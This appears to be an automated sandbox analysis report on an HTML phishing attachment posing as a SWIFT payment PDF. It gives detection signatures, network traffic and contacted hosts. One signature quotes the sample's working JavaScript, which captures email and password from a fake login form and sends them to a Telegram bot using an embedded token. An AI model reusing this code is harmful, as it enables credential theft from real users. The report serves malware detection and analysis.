Windows Analysis Report
swift-copy31072024PDF.html

Overview

General Information

Sample name: swift-copy31072024PDF.html
Analysis ID: 1544346
MD5: 21de1eced0bba2c144b3f9a267f95fd7
SHA1: d08160beca4b007084fc5e9b1df1ce3b44de6e85
SHA256: 6aa352aa8f89d3dbc564639ea5ad6c32b3ab5b248b087dca8d37b483674de47a
Infos:

Detection

HTMLPhisher
Score: 72
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

AI detected phishing page
Yara detected HtmlPhish10
HTML document with suspicious name
HTML file submission containing password form
Javascript uses Telegram API
Uses the Telegram API (likely for C&C communication)
Detected non-DNS traffic on DNS port
HTML body contains low number of good links
HTML body contains password input but no form action
HTML title does not match URL
None HTTPS page querying sensitive user data (password, username or email)
Stores files to the Windows start menu directory

Classification

Phishing
barindex
AI detected phishing page
Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html LLM: Score: 10 Reasons: HTML file with login form DOM: 1.0.pages.csv
Yara detected HtmlPhish10
Source: Yara match File source: swift-copy31072024PDF.html, type: SAMPLE
Javascript uses Telegram API
Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html HTTP Parser: document.getelementbyid('loginform').addeventlistener('submit', function(event) { event.preventdefault(); var email = document.getelementbyid('email').value; var password = document.getelementbyid('password').value; var apikey = '7143837038:aah8epg67nubqq5-xg1extwtgi0rzkmui28'; var chatid = '7463984269'; var message = 'submission:\nemail: ' + email + '\npassword: ' + password; var url = 'https://api.telegram.org/bot' + apikey + '/sendmessage?chat_id=' + chatid + '&text=' + encodeuricomponent(message); fetch(url) .then(function(response) { if (response.ok) { alert('failed: sign in incorrect. please press ok and try again.'); } else { alert('failed: sign in incorrect. please press ok and try again.'); } }) .catch(function(error) { alert('verbumnetworks.net'); }); });
HTML body contains low number of good links
Source: swift-copy31072024PDF.html HTTP Parser: Number of links: 0
Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html HTTP Parser: Number of links: 0
HTML body contains password input but no form action
Source: swift-copy31072024PDF.html HTTP Parser: <input type="password" .../> found but no <form action="...
Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html HTTP Parser: <input type="password" .../> found but no <form action="...
HTML title does not match URL
Source: swift-copy31072024PDF.html HTTP Parser: Title: continue does not match URL
Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html HTTP Parser: Title: continue does not match URL
None HTTPS page querying sensitive user data (password, username or email)
Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html HTTP Parser: Has password / email / username input fields
Source: swift-copy31072024PDF.html HTTP Parser: <input type="password" .../> found
Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html HTTP Parser: <input type="password" .../> found
Source: swift-copy31072024PDF.html HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html HTTP Parser: No favicon
Source: swift-copy31072024PDF.html HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html HTTP Parser: No <meta name="author".. found
Source: swift-copy31072024PDF.html HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html HTTP Parser: No <meta name="copyright".. found
Source: unknown HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.16:56535 version: TLS 1.2
Source: chrome.exe Memory has grown: Private usage: 1MB later: 29MB

Networking
barindex
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
Source: unknown DNS query: name: api.telegram.org
Source: unknown DNS query: name: api.telegram.org
Source: unknown DNS query: name: api.telegram.org
Source: unknown DNS query: name: api.telegram.org
Source: unknown DNS query: name: api.telegram.org
Detected non-DNS traffic on DNS port
Source: global traffic TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: global traffic TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: global traffic TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: global traffic TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: global traffic TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: global traffic TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: global traffic TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: global traffic TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: global traffic TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: global traffic TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: global traffic TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
Source: unknown Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 56528 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 56530 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 56547 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 56540 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 56537 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 56533 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 56529 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56529
Source: unknown Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 56525 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56525
Source: unknown Network traffic detected: HTTP traffic on port 56546 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56526
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56527
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56528
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56530
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56531
Source: unknown Network traffic detected: HTTP traffic on port 56543 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 56536 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 56526 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 56532 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56536
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56537
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56539
Source: unknown Network traffic detected: HTTP traffic on port 56545 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56532
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56533
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56534
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56535
Source: unknown Network traffic detected: HTTP traffic on port 56539 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56540
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56541
Source: unknown Network traffic detected: HTTP traffic on port 56542 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56542
Source: unknown Network traffic detected: HTTP traffic on port 56535 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown Network traffic detected: HTTP traffic on port 56527 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 56531 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56547
Source: unknown Network traffic detected: HTTP traffic on port 56544 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56543
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56544
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56545
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56546
Source: unknown Network traffic detected: HTTP traffic on port 56541 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown Network traffic detected: HTTP traffic on port 56534 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.16:56535 version: TLS 1.2

System Summary
barindex
HTML document with suspicious name
Source: Name includes: swift-copy31072024PDF.html Initial sample: swift
Source: classification engine Classification label: mal72.phis.troj.winHTML@14/20@8/97
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: unknown Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\swift-copy31072024PDF.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1876,i,5721794662497170584,7017191593047677730,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1876,i,5721794662497170584,7017191593047677730,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Stores files to the Windows start menu directory
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Stealing of Sensitive Information
barindex
HTML file submission containing password form
Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html HTTP Parser: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU true
1.1.1.1
 unknown Australia
13335 CLOUDFLARENETUS false
239.255.255.250
 unknown Reserved
unknown unknown false
216.58.212.142
 unknown United States
15169 GOOGLEUS false
216.58.206.67
 unknown United States
15169 GOOGLEUS false
173.194.76.84
 unknown United States
15169 GOOGLEUS false
172.217.18.3
 unknown United States
15169 GOOGLEUS false
142.250.185.132
 www.google.com United States
15169 GOOGLEUS false
216.58.206.46
 unknown United States
15169 GOOGLEUS false

Private

IP
192.168.2.16
192.168.2.5

Contacted Domains

Name IP Active
www.google.com 142.250.185.132 true
api.telegram.org 149.154.167.220 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
file:///C:/Users/user/Desktop/swift-copy31072024PDF.html true
    		unknown